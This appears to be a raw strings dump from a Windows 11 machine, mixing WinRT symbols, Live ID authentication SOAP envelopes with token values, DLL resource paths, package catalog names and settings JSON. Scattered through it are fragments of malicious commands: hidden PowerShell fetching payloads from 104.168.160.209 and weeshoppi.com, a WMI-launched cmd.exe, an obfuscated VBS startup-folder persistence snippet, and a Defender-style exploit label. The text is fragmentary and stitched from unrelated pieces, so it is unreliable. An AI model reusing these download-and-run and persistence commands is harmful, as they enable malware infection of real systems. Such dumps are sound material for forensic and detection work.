.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_9>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_10>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_9>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UAutoSuggestBox@Controls@Xaml@UI@Windows@winrt@@UAutoSuggestBoxTextChangedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_8>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UAutoSuggestBox@Controls@Xaml@UI@Windows@winrt@@UAutoSuggestBoxTextChangedEventArgs@23456@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UAutoSuggestBox@Controls@Xaml@UI@Windows@winrt@@UAutoSuggestBoxTextChangedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_8>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_8>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UAutoSuggestBox@Controls@Xaml@UI@Windows@winrt@@UAutoSuggestBoxQuerySubmittedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_7>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UAutoSuggestBox@Controls@Xaml@UI@Windows@winrt@@UAutoSuggestBoxQuerySubmittedEventArgs@23456@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UAutoSuggestBox@Controls@Xaml@UI@Windows@winrt@@UAutoSuggestBoxQuerySubmittedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_7>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
Microsoft.Windows.Security.CertCA
<S:Envelope><S:Header><wsa:Action wsu:Id="Action" S:mustUnderstand="1">*</wsa:Action><wsa:To wsu:Id="To" S:mustUnderstand="1">*</wsa:To><wsse:Security><wsu:Timestamp wsu:Id="TS"><wsu:Created>2026-02-20T15:59:53Z</wsu:Created><wsu:Expires>2026-02-20T16:04:53Z</wsu:Expires></wsu:Timestamp><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:SecurityTokenReference><wsse:Reference URI="phy9xBtgasQONBrW2g8BkXoOpe8="></wsse:Reference></wsse:SecurityTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wssc:DerivedKeyToken wsu:Id="EncKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:SecurityTokenReference><wsse:Reference URI="phy9xBtgasQONBrW2g8BkXoOpe8="></wsse:Reference></wsse:SecurityTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#EncPsf"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Alta></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T15:59:52Z</wsu:Created><wsu:Expires>2026-02-20T16:04:52Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>wns.windows.com</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsp:PolicyReference URI="MBI_SSL"></wsp:PolicyReference></wst:RequestSecurityToken></s:Body></s:Envelope>
pp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T15:59:51Z</wsu:Created><wsu:Expires>2026-02-20T16:04:51Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>www.microsoft.com</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsp:PolicyReference URI="mbi_ssl"></wsp:PolicyReference></wst:RequestSecurityToken></s:Body></s:Envelope>
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{DF60E2DF-88AD-4526-AE21-83D130EF0F68}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><wsse:UsernameToken wsu:Id="devicesoftware"><wsse:Username>*</wsse:Username></wsse:UsernameToken><wsse:BinarySecurityToken ValueType="urn:liveid:device" id="DeviceDAToken">6wluwAVdt1a4Daw6i+yMqqwWB0D7adlfdXmCpPRAFao=</wsse:BinarySecurityToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T15:59:51Z</wsu:Created><wsu:Expires>2026-02-20T16:04:51Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>http://Passport.NET/tb</wsa:Address></wsa:EndpointReference></wsp:AppliesTo></wst:RequestSecurityToken></s:Body></s:Envelope>
WINDOWS11
Windows.Devices.Radios.pdb
Microsoft.Windows.SMB.MRXSMB
@%SystemRoot%\system32\cryptsvc.dll,-1001
@%systemroot%\system32\SearchIndexer.exe,-103
s.windows.
?get@Right@Rect@Foundation@Windows@@QEAAMXZ
?get@Bottom@Rect@Foundation@Windows@@QEAAMXZ
WindowsDuplicateString
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsStringHasEmbeddedNull
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsIsStringEmpty
@%systemroot%\system32\FirewallControlPanel.dll,-12122T
@%SystemRoot%\system32\sstpsvc.dll,-200
ia@%Systemroot%\system32\rasmans.dll,-200
@%SystemRoot%\System32\ci.dll,-100e
@%SystemRoot%\System32\ci.dll,-1012ecove
@%SystemRoot%\system32\dnsapi.dll,-103v
@%SystemRoot%\System32\fveui.dll,-843
Windows Defender
@%SystemRoot%\System32\fveui.dll,-844
@%SystemRoot%\System32\wuaueng.dll,-400
@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124cessman
@%SystemRoot%\system32\NgcRecovery.dll,-100
\a@%SystemRoot%\system32\pushtoinstall.dll,-200
@%systemroot%\system32\wbiosrvc.dll,-100
@%SystemRoot%\System32\ngcsvc.dll,-100em
@%SystemRoot%\System32\NgcCtnrSvc.dll,-1
em@%SystemRoot%\system32\flightsettings.dll,-103
\c@%SystemRoot%\System32\Microsoft.Data.UsageAndQualityInsights.dll,-100y
@%systemroot%\system32\usermgr.dll,-100
@%SystemRoot%\system32\netprofmsvc.dll,-202
Windowso
?Intersect@Rect@Foundation@Windows@@QEAAXV123@@Z
?IntersectsWith@Rect@Foundation@Windows@@QEAA_NV123@@Z
?Invert@Matrix3D@Media3D@Media@Xaml@UI@Windows@@QEAAXXZ
?Union@Rect@Foundation@Windows@@QEAAXV123@@Z
?Union@Rect@Foundation@Windows@@QEAAXVPoint@23@@Z
?get@Bottom@Rect@Foundation@Windows@@QEAAMXZ
?get@Empty@Rect@Foundation@Windows@@SA?AV234@XZ
?get@Empty@Size@Foundation@Windows@@SA?AV234@XZ
?get@HasInverse@Matrix3D@Media3D@Media@Xaml@UI@Windows@@QEAA_NXZ
?get@Right@Rect@Foundation@Windows@@QEAAMXZ
@%SystemRoot%\system32\audiosrv.dll,-200
@%SystemRoot%\System32\shsvcs.dll,-12288
@%SystemRoot%\System32\AppReadiness.dll,-1000
@%systemroot%\system32\appinfo.dll,-100
@%SystemRoot%\system32\CapabilityAccessManager.dll,-1psv
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-310X
\d@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-245vk-
@%systemroot%\system32\vssvc.exe,-102
@%SystemRoot%\system32\licensemanagersvc.dll,-200
@%SystemRoot%\system32\InstallService.dll,-200\d
@%SystemRoot%\system32\ClipSVC.dll,-103
@%SystemRoot%\System32\themeservice.dll,-8192}
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-CoreSystem-CredSSP-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-NetAdapterCx-UMDF-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
setWindowsInstalledApps
buildNormalizedWindowsInstalledAppNames
getNormalizedWindowsInstalledAppNames
getWindowsTheme
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
start/minpowershell.exe-windowstylehidden"get-service;$
.closedimpidsetwmi=getobject("winmgmts:")setprocess=wmi.get("win32_process")process.create"cmd.exe/cc:\windows\temp\
c:\windows\system32\cmd.exe/cpowershell-windowstylehiddenstart-processwinword/m;$c='(new-objectsystem.net.webclient).d'+'ownloadfile(
Microsoft.Windows.Wil.FeatureLogging
c:/users/windows/go/src/vashrh
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
@%SystemRoot%\system32\RMapi.dll,-1001
@%SystemRoot%\system32\AudioEndpointBuilder.dll,-204
@%SystemRoot%\system32\appxdeploymentserver.dll,-1
@%SystemRoot%\system32\dispbroker.desktop.dll,-101p
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|
Microsoft-Windows-Multimedia-RestrictedCodecs-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Wifi-Client-Intel-Netwbw02-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Intel-Netwbw02-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-EnterpriseClientSync-Host-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|
Microsoft-Windows-Multimedia-RestrictedCodecs-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
AGetDF = Environ$("USERPROFILE") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jeje.batlol = "wsamorecramoreipamoretamore.samorehellloli = Replace(lol, "amore", "")love = "poamorewersamorehell.eamorexeamore amoreamore-winamoredowsamoretyamorele hidamoreden -EamorexecuamoretionPolamoreicy Byamorepass calc.exeSet a = fs.CreateTextFile(GetDF, True)
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass  -command " & { iwr http://weeshoppi.com/wp-includes/ID3/
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass  -command " & { iwr http://104.168.160.209/
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass  -command " & { iwr http://104.168.160.209/
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
.?AV<lambda_1>@?L@??GetCreativeResultsAsync@IrisServiceImpl@implementation@IrisService@winrt@@QEAA?AU?$IAsyncOperation@UIrisCreativeResults@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@5@Uhstring@5@IU?$IMapView@Uhstring@winrt@@U12@@Collections@785@W4RetrieveCreativesOption@Iris@Services@WindowsUdk@5@@Z@
GetSystemWindowsDirectoryW
api-ms-win-core-windowserrorreporting-l1-1-0.dll
WindowsCreateString
s@WindowsUdkN
OS=Windows_NT
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
WindowsCodecs.dll
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
onecoreuap\windows\moderncore\inputv2\Bamos\codegen\system\objfre\amd64\ISMBamos.ISMBamos_Shared.bamo.h
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpcmouseprocessor.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpcsixdofprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\inputredirection\system\lib\inputredirectionprocessor.cpp
onecoreuap\windows\moderncore\inputv2\utilities\inputsecuritydescriptor\lib\inputsecuritydescriptor.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\rimdevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\systemcontroldevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\pendevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\hiddevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\callcontroldevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\foregroundmanager\server\activationwatcherbamoprincipal.cpp
onecoreuap\windows\moderncore\inputv2\delivery\server\inputdeliveryserver.cpp
onecoreuap\windows\moderncore\inputv2\bamos\server\inputsystemserverconnection.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpcmanager.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\components\inputgestures\system\gestureservices.cpp
onecoreuap\windows\moderncore\inputv2\utilities\KernelInputConnection\KernelInputConnection.h
onecoreuap\windows\moderncore\inputv2\systeminputhosts\components\inputsinkdatacache\lib\inputsinkdatacache.cpp
Yonecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\gameinput\system\lib\gameinputprocessor.cpp
%\system32\drivers\etc\Y
Windows.SystemToast.AutoPlay
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App
default$windows.data.settings.settingsusagehistory
windows.data.settings.settingsusagehistory
default$windows.data.settings.settingsusagehistory
windows.data.settings.settingsusagehistory
Mozilla/5.0 (Windows NT 10.0; Win64; x
","SettingPaths":[{"System.Setting.PageID":"SettingsPageUserIntent"}],"System.Comment":"Windows User Intent settings","System.HighKeywords":"customize device;customize pc;customize computer;how i use my device;how i use my pc;how i use my computer;personalized suggestions;device intent;device usage;pc intent;computer intent;custom tools;suggestions based on how i use pc;gaming;family;creativity;creative work;schoolwork;school;entertainment;business"},{"System.ParsingName":"AAA_SettingsPageVideo","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":"
","SettingPaths":[{"System.Setting.PageID":"SettingsPageVideo"}],"System.Comment":"Video playback","System.HighKeywords":"video quality;video settings;video options;video playback options;play back;movie;movies"},{"System.ParsingName":"AAA_SettingsPageWindowsDefender","System.Setting.FontFamily":"Settings Fluent Icons","System.Setting.Glyph":"
","SettingPaths":[{"System.Setting.PageID":"SettingsPageWindowsDefender"},{"System.Setting.PageID":"SettingsPageWindowsDefenderOld"
em.Comment":"Windows Security settings","System.
Microsoft.Windows.Graphics.WindowsCodecs
Microsoft.Windows.MediaFoundation.RAWImageDecoder
Microsoft.Windows.MediaFoundation.JPEGXL
WindowsCodecs.pdb
WindowsCodecs.dll
WindowsCreateStringReference
@powershell-whidden"cd~/appdata/roaming/microsoft/windows;iwrhttps://
.ps1;powershell-epbypass'~/appdata/roaming/microsoft/windows/
\microsoft\windows\customer experience improvement program\consolidatorExploit:Win64/Manargoh.A
WINDOWS11
OS=Windows
C:\WINDOWS\system32\backgroundTaskHost.exe
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
	COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsapp:immersive2026-02-21 11:16:392026-02-21 11:16:39
c:\windows\system32\cmd.exe/c@echooff&startnotepad.exe&curl--silent-l"http
g/c:\t1gaffes>.gaffesr2retreatedtoll.jsr.retreatedtoll.js#..\..\..\..\gaffes\retreatedtoll.jsc:\windows\explorer.exe%systemroot%\explorer.exe%
c:\windows\system32\windowspowershell\v1.0\powershell.exe/whidden$guid='
 Windows 
 Windows 10 
csWindows31J
windows-1250
windows-1251
windows-1256
windows-1257
windows-1258
skManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
